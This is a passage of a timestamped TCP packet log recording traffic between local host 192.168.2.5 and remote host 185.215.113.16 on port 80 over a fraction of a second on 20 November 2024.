Nov 20, 2024 06:40:22.154448986 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.154481888 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.154515028 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.154515982 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.154547930 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.154577017 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.154582977 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.154616117 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.154644966 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.154649019 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.154681921 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.154711008 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.154714108 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.154747009 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.154779911 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.154782057 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.154814005 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.154844999 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.154848099 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.154880047 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.154911041 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.154912949 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.154947042 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.154973984 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.154982090 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.155015945 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.155046940 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.155049086 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.155081987 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.155114889 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.155114889 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.155148029 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.155179024 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.155180931 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.155215979 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.155246973 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.155249119 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.155281067 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.155311108 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.155328989 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.155361891 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.155365944 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.155400038 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.155430079 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.155432940 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.155466080 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.155497074 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.155500889 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.155534983 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.155565977 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.155566931 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.155600071 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.155628920 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.155632019 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.155666113 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.155694962 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.155698061 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.155731916 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.155761957 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.155764103 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.155797005 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.155826092 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.155829906 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.155863047 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.155893087 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.175858021 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.176986933 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.181168079 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.181212902 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.181232929 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.181273937 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.181308031 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.181338072 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.181344032 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.181377888 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.181408882 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.181433916 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.181468010 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.181498051 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.181503057 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.181535959 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.181550980 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.181571007 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.181605101 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.181638956 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.181668997 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.181673050 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.181704998 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.181735039 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.181762934 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.181794882 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.181817055 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.181855917 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.181886911 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.181889057 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.181925058 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.181958914 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.181978941 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.182010889 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.182044983 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.182073116 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.182076931 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.182111025 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.182140112 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.182142973 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.182178020 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.182207108 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.182301998 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.182332993 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.182336092 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.182370901 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.182401896 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.182403088 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.182451963 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.182457924 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.182492018 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.182526112 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.182558060 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.182590961 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.182621002 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.182622910 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.182656050 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.182686090 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.182688951 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.182722092 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.182750940 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.182755947 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.182790041 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.182816982 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.182822943 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.182857037 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.182887077 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.182893038 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.182940006 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.182960987 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.182997942 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.183032990 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.183065891 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.183093071 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.183099031 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.183149099 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.183178902 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.183182001 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.183214903 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.183245897 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.183248043 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.183299065 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.183329105 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.183372974 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.183407068 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.183438063 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.183439970 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.183473110 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.183505058 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.183506966 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.183538914 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.183569908 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.183573008 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.183607101 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.183639050 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.183847904 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.184207916 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.184240103 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.184273958 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.184307098 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.184333086 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.184359074 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.184391975 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.184422970 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.184426069 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.184458017 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.184484959 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.184489965 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.184525013 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.184554100 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.184557915 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.184607029 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.184638977 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.184640884 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.184674025 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.184696913 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.184705973 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.184736967 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.184742928 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.184855938 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.184886932 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.184887886 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.184922934 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.184954882 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.184956074 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.184998989 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.185008049 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.185040951 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.185075998 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.185111046 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.185142994 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.185148001 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.185180902 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.185180902 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.185214996 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.185247898 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.185271025 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.185281992 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.185298920 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.185316086 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.185370922 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.185404062 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.185435057 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.185436964 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.185467005 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.185476065 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.185524940 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.185712099 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.185745001 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.185775995 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.185810089 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.185838938 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.185847044 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.185878992 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.185898066 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.185930967 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.185961008 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.185964108 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.185997009 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.186027050 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.186049938 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.186084032 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.186116934 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.186147928 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.186150074 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.186182976 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.186214924 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.186216116 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.186244011 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.186249971 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.186281919 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.186317921 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.186347008 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.186448097 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.186577082 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.186609983 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.186645031 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.186762094 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.186794043 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.186794996 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.186830997 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.186863899 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.186892033 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.186892033 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.186916113 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.186949968 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.186983109 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.187014103 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.187016964 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.187050104 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.187083006 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.187099934 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.187115908 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.187119007 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.187150002 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.187184095 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.187216043 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.187371016 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.187422037 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.187454939 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.187489033 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.187521935 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.187616110 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.187643051 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.187649012 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.187681913 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.187711000 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.187712908 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.187762976 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.187794924 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.187797070 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.187830925 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.187865019 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.187868118 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.187899113 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.187927961 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.187932014 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.187969923 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.187990904 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.188003063 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.188035011 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.188067913 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.188188076 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.188249111 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.188432932 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.188465118 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.188498020 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.188529015 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.188529968 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.188621998 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.188636065 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.188656092 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.188685894 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.188690901 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.188724995 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.188755035 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.188775063 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.188807964 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.188838005 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.188839912 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.188880920 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.188914061 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.188914061 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.188946962 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.188977003 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.188978910 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.189012051 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.189039946 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.189045906 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.189423084 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.189455986 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.189486980 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.189490080 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.189522028 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.189522982 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.189572096 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.189604998 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.189636946 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.189668894 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.189670086 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.189702988 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.189753056 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.189785957 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.189785957 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.189819098 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.189848900 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.189851999 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.189886093 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.189914942 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.189918041 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.189953089 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.189982891 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.190207005 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.190238953 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.190274000 CET	80	49713	185.215.113.16	192.168.2.5
